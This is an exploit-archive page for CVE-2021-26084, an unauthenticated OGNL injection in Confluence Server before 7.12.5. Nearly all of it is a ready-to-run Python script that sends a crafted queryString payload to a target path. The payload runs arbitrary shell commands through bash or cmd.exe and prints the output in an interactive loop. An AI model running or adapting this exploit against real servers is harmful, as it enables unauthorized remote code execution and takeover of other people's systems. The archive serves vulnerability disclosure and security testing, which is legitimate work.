what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Confluence Server 7.12.4 OGNL Injection Remote Code Execution

Confluence Server 7.12.4 OGNL Injection Remote Code Execution
Posted Sep 1, 2021
Authored by h3v0x

Confluence Server version 7.12.4 unauthenticated OGNL injection remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2021-26084
SHA-256 | edfa2004247afa5b006485a948fb93b61c91fbe8e09997fd1180dcd5758b7ddc

Confluence Server 7.12.4 OGNL Injection Remote Code Execution

Change Mirror Download
# Exploit Title: Confluence Server 7.12.4 - 'OGNL injection' Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/09/2021
# Exploit Author: h3v0x
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: All < 7.12.x versions before 7.12.5
# Tested on: Linux Distros
# CVE : CVE-2021-26084

#!/usr/bin/python3

# References:
# https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
# https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

import requests
from bs4 import BeautifulSoup
import optparse

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://confluencexxx.com")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /pages/createpage-entervariables.action?SpaceKey=x")

options, args = parser.parse_args()
session = requests.Session()

url_vuln = options.url
endpoint = options.path

if not options.url or not options.path:

print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://xxxxx.com -p /pages/createpage-entervariables.action?SpaceKey=x')
print('[+] Example help usage: exploit.py -h')
exit()


def banner():

print('---------------------------------------------------------------')
print('[-] Confluence Server Webwork OGNL injection')
print('[-] CVE-2021-26084')
print('[-] https://github.com/h3v0x')
print('--------------------------------------------------------------- \n')


def cmdExec():

while True:
cmd = input('> ')
xpl_url = url_vuln + endpoint
xpl_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded", "Accept-Encoding": "gzip, deflate"}
xpl_data = {"queryString": "aaaaaaaa\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027JavaScript\\u0027).\\u0065val(\\u0027var isWin = java.lang.System.getProperty(\\u0022os.name\\u0022).toLowerCase().contains(\\u0022win\\u0022); var cmd = new java.lang.String(\\u0022"+cmd+"\\u0022);var p = new java.lang.ProcessBuilder(); if(isWin){p.command(\\u0022cmd.exe\\u0022, \\u0022/c\\u0022, cmd); } else{p.command(\\u0022bash\\u0022, \\u0022-c\\u0022, cmd); }p.redirectErrorStream(true); var process= p.start(); var inputStreamReader = new java.io.InputStreamReader(process.getInputStream()); var bufferedReader = new java.io.BufferedReader(inputStreamReader); var line = \\u0022\\u0022; var output = \\u0022\\u0022; while((line = bufferedReader.readLine()) != null){output = output + line + java.lang.Character.toString(10); }\\u0027)}+\\u0027"}
rawHTML = session.post(xpl_url, headers=xpl_headers, data=xpl_data)

soup = BeautifulSoup(rawHTML.text, 'html.parser')
queryStringValue = soup.find('input',attrs = {'name':'queryString', 'type':'hidden'})['value']
print(queryStringValue)


banner()
cmdExec()

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close